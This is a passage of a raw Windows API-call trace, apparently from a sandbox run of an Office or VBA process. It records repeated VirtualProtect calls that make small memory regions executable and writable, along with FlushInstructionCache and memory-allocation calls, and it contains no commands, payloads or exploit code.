GetCurrentProcess () returned 0xffffffff [0099.856] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.856] GetCurrentProcess () returned 0xffffffff [0099.856] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.856] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.856] GetCurrentProcess () returned 0xffffffff [0099.856] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.856] GetCurrentProcess () returned 0xffffffff [0099.857] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.857] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.857] GetCurrentProcess () returned 0xffffffff [0099.857] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.857] GetCurrentProcess () returned 0xffffffff [0099.857] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.857] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.857] GetCurrentProcess () returned 0xffffffff [0099.857] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.857] GetCurrentProcess () returned 0xffffffff [0099.858] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.858] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.858] GetCurrentProcess () returned 0xffffffff [0099.858] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.858] GetCurrentProcess () returned 0xffffffff [0099.858] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.858] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.859] GetCurrentProcess () returned 0xffffffff [0099.859] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.859] GetAsyncKeyState (vKey=3) returned 0 [0099.860] CRetailMalloc_Alloc () returned 0xcb2a458 [0099.860] memcpy (in: _Dst=0xcf94f48, _Src=0x1973fc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.860] memcpy (in: _Dst=0xcb2a478, _Src=0x197464, _Size=0x18 | out: _Dst=0xcb2a478) returned 0xcb2a478 [0099.860] CRetailMalloc_Realloc () returned 0xcb2a458 [0099.860] CRetailMalloc_Free () returned 0x1 [0099.860] GetCurrentProcess () returned 0xffffffff [0099.860] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.860] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.860] GetCurrentProcess () returned 0xffffffff [0099.860] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.860] GetCurrentProcess () returned 0xffffffff [0099.860] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.861] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.861] GetCurrentProcess () returned 0xffffffff [0099.861] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.861] GetCurrentProcess () returned 0xffffffff [0099.861] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.861] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.862] GetCurrentProcess () returned 0xffffffff [0099.862] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.862] GetCurrentProcess () returned 0xffffffff [0099.862] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.862] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.862] GetCurrentProcess () returned 0xffffffff [0099.862] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.862] GetCurrentProcess () returned 0xffffffff [0099.862] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.862] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.863] GetCurrentProcess () returned 0xffffffff [0099.863] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.863] GetCurrentProcess () returned 0xffffffff [0099.863] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.863] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.864] GetCurrentProcess () returned 0xffffffff [0099.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.864] GetCurrentProcess () returned 0xffffffff [0099.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.864] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.864] GetCurrentProcess () returned 0xffffffff [0099.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.864] GetCurrentProcess () returned 0xffffffff [0099.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.864] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.865] GetCurrentProcess () returned 0xffffffff [0099.865] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.865] GetCurrentProcess () returned 0xffffffff [0099.865] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.865] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.865] GetCurrentProcess () returned 0xffffffff [0099.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.866] GetCurrentProcess () returned 0xffffffff [0099.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.866] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.866] GetCurrentProcess () returned 0xffffffff [0099.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.866] GetCurrentProcess () returned 0xffffffff [0099.866] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.866] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.867] GetCurrentProcess () returned 0xffffffff [0099.867] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.867] GetCurrentProcess () returned 0xffffffff [0099.867] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.867] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.868] GetCurrentProcess () returned 0xffffffff [0099.868] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.868] GetCurrentProcess () returned 0xffffffff [0099.868] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.868] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.868] GetCurrentProcess () returned 0xffffffff [0099.868] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.868] GetCurrentProcess () returned 0xffffffff [0099.868] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.868] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.872] GetCurrentProcess () returned 0xffffffff [0099.872] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.872] GetCurrentProcess () returned 0xffffffff [0099.872] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.872] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.873] GetCurrentProcess () returned 0xffffffff [0099.873] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.873] GetCurrentProcess () returned 0xffffffff [0099.873] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.873] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.874] GetCurrentProcess () returned 0xffffffff [0099.874] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.874] GetCurrentProcess () returned 0xffffffff [0099.874] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.874] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.874] GetCurrentProcess () returned 0xffffffff [0099.874] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.874] GetCurrentProcess () returned 0xffffffff [0099.874] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.875] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.875] GetCurrentProcess () returned 0xffffffff [0099.875] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.875] GetCurrentProcess () returned 0xffffffff [0099.875] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.875] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.875] GetCurrentProcess () returned 0xffffffff [0099.875] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.876] GetCurrentProcess () returned 0xffffffff [0099.876] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.876] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.876] GetCurrentProcess () returned 0xffffffff [0099.876] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.876] GetCurrentProcess () returned 0xffffffff [0099.876] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.876] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.877] GetCurrentProcess () returned 0xffffffff [0099.877] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.877] GetCurrentProcess () returned 0xffffffff [0099.877] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.877] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.877] GetCurrentProcess () returned 0xffffffff [0099.877] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.877] GetCurrentProcess () returned 0xffffffff [0099.877] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.877] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.878] GetCurrentProcess () returned 0xffffffff [0099.878] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.878] GetCurrentProcess () returned 0xffffffff [0099.878] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.878] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.878] GetCurrentProcess () returned 0xffffffff [0099.878] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.878] GetCurrentProcess () returned 0xffffffff [0099.878] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.878] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.879] GetCurrentProcess () returned 0xffffffff [0099.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.879] GetCurrentProcess () returned 0xffffffff [0099.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.879] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.879] GetCurrentProcess () returned 0xffffffff [0099.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.879] GetCurrentProcess () returned 0xffffffff [0099.879] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.879] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.880] GetCurrentProcess () returned 0xffffffff [0099.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.880] GetCurrentProcess () returned 0xffffffff [0099.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.880] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.880] GetCurrentProcess () returned 0xffffffff [0099.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.880] GetCurrentProcess () returned 0xffffffff [0099.880] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.880] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.881] GetCurrentProcess () returned 0xffffffff [0099.881] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.881] GetCurrentProcess () returned 0xffffffff [0099.881] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.881] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.882] GetCurrentProcess () returned 0xffffffff [0099.882] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.882] GetCurrentProcess () returned 0xffffffff [0099.882] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.882] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0099.882] GetCurrentProcess () returned 0xffffffff [0099.882] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.883] GetAsyncKeyState (vKey=3) returned 0 [0099.883] VarCmp (pvarLeft=0x197a1c, pvarRight=0x197a0c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0099.883] CRetailMalloc_Alloc () returned 0xcb2a4b8 [0099.883] memcpy (in: _Dst=0xcf94f48, _Src=0x19731c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.883] memcpy (in: _Dst=0xcb2a4d8, _Src=0x197384, _Size=0x18 | out: _Dst=0xcb2a4d8) returned 0xcb2a4d8 [0099.883] CRetailMalloc_Realloc () returned 0xcb2a4b8 [0099.883] CRetailMalloc_Free () returned 0x1 [0099.884] GetCurrentProcess () returned 0xffffffff [0099.884] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.884] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.884] GetCurrentProcess () returned 0xffffffff [0099.884] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.886] GetCurrentProcess () returned 0xffffffff [0099.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.886] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.886] GetCurrentProcess () returned 0xffffffff [0099.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.886] GetCurrentProcess () returned 0xffffffff [0099.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.887] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.887] GetCurrentProcess () returned 0xffffffff [0099.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.887] GetCurrentProcess () returned 0xffffffff [0099.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.887] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.888] GetCurrentProcess () returned 0xffffffff [0099.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.888] GetCurrentProcess () returned 0xffffffff [0099.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.888] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.888] GetCurrentProcess () returned 0xffffffff [0099.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.888] GetCurrentProcess () returned 0xffffffff [0099.888] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.888] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.889] GetCurrentProcess () returned 0xffffffff [0099.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.889] GetCurrentProcess () returned 0xffffffff [0099.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.889] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.889] GetCurrentProcess () returned 0xffffffff [0099.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.889] GetCurrentProcess () returned 0xffffffff [0099.889] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.889] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.890] GetCurrentProcess () returned 0xffffffff [0099.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.890] GetCurrentProcess () returned 0xffffffff [0099.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.890] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.890] GetCurrentProcess () returned 0xffffffff [0099.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.890] GetCurrentProcess () returned 0xffffffff [0099.890] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.890] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.891] GetCurrentProcess () returned 0xffffffff [0099.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.891] GetCurrentProcess () returned 0xffffffff [0099.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.891] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.891] GetCurrentProcess () returned 0xffffffff [0099.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.891] GetCurrentProcess () returned 0xffffffff [0099.891] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.891] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.892] GetCurrentProcess () returned 0xffffffff [0099.892] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.892] GetCurrentProcess () returned 0xffffffff [0099.892] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.892] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.893] GetCurrentProcess () returned 0xffffffff [0099.893] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.893] GetCurrentProcess () returned 0xffffffff [0099.893] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.893] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.893] GetCurrentProcess () returned 0xffffffff [0099.893] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.893] GetCurrentProcess () returned 0xffffffff [0099.893] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.893] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.894] GetCurrentProcess () returned 0xffffffff [0099.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.894] GetCurrentProcess () returned 0xffffffff [0099.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.894] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.894] GetCurrentProcess () returned 0xffffffff [0099.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.894] GetCurrentProcess () returned 0xffffffff [0099.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.894] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.895] GetCurrentProcess () returned 0xffffffff [0099.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.895] GetCurrentProcess () returned 0xffffffff [0099.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.895] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.895] GetCurrentProcess () returned 0xffffffff [0099.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.895] GetCurrentProcess () returned 0xffffffff [0099.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.895] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.896] GetCurrentProcess 